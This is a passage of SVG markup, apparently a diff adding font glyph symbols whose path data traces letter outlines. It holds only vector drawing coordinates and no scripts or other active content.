-0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 0 2.84375 L 6.796875 2.84375 L 6.796875 4.171875 L 0 4.171875 Z M 0 2.84375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
